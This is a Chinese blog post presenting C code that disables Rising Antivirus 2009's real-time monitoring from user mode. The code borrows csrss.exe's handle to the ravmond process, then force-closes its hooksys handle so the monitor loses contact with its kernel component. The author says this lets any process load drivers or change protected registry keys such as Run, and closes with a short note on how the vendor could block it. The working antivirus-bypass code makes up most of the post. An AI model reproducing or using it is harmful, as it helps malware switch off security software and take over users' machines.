天天看点

用户层关闭瑞星2009杀毒软件安全保护

我写这个纯粹是hacker精神,如果被滥用做病毒木马一类的邋遢东东,可跟偶没关系哦。

原理very简单,我发现瑞星监控主要在ravmond进程中,如果打破其与内核的联系,则

瑞星监控功能就无法正常工作了,怎么打破联系呢?如果是进内核的话当然有很多的办法,

从而没有挑战性了,况且ravmond会阻止用户进程去加载驱动或者动注册表的关键地方,

比如run子键。下面上测试代码:

int main(int argc,char *argv[])

{

    if(argc != 4)

        puts("usage ccon csrss.pid prmd.handle hooksys.handle");

    else

    {

        int pid = atoi(argv[1]);

        int hprmd = atoi(argv[2]);

        int hobj = atoi(argv[3]);

        if(!setdebugprivilege(true))

            puts("setdebugprivilege failed!");

        handle hcs = openprocess(process_all_access,false,pid);

        if(!hcs)

        {

            puts("open csrss.exe failed");

            printerr(getlasterror());

        }

        else //直接打开ravmond进程会失败的,so采用迂回战术

            handle hprmd_loc;

            if(!duplicatehandle(hcs,(handle)hprmd,getcurrentprocess(),/

                &hprmd_loc,process_all_access,false,0))

            {

                puts("get hprmd_loc failed!");

                printerr(getlasterror());

            }

            else //关闭hooksys的句柄,打破其与内核的联系

                handle hobj_loc;

                if(!duplicatehandle(hprmd_loc,(handle)hobj,/

                    getcurrentprocess(),&hobj_loc,0,false,/

                    duplicate_close_source | duplicate_same_access))

                {

                    puts("get hobj_loc failed!");

                    printerr(getlasterror());

                }

                else

                    if(!closehandle(hobj_loc))

                    {

                        puts("close hobj_loc failed");

                    }

                    else

                        puts("we success finally!!!");

    }

    return 0;

}

打破瑞星监控与内核的关联之后,用户进程可以任意加载驱动程序进内核或者篡改注册表

中的关键内容,我测试了一下,虽然第一次修改注册表中的监控内容时瑞星还是会提示用

户是否允许修改,但是这时即使选择否,同样可以修改成功,而且以后的修改瑞星不会再

提示了。

其实防守起来也很容易,瑞星只要不让我们在ring3下取到hooksys的句柄就行了,当然

仍然防不住内核中的攻击,进入ring0还是可以为所欲为。

我的测试环境 windows xp sp3 + 瑞星杀毒2009 21.49.14 测试成功

继续阅读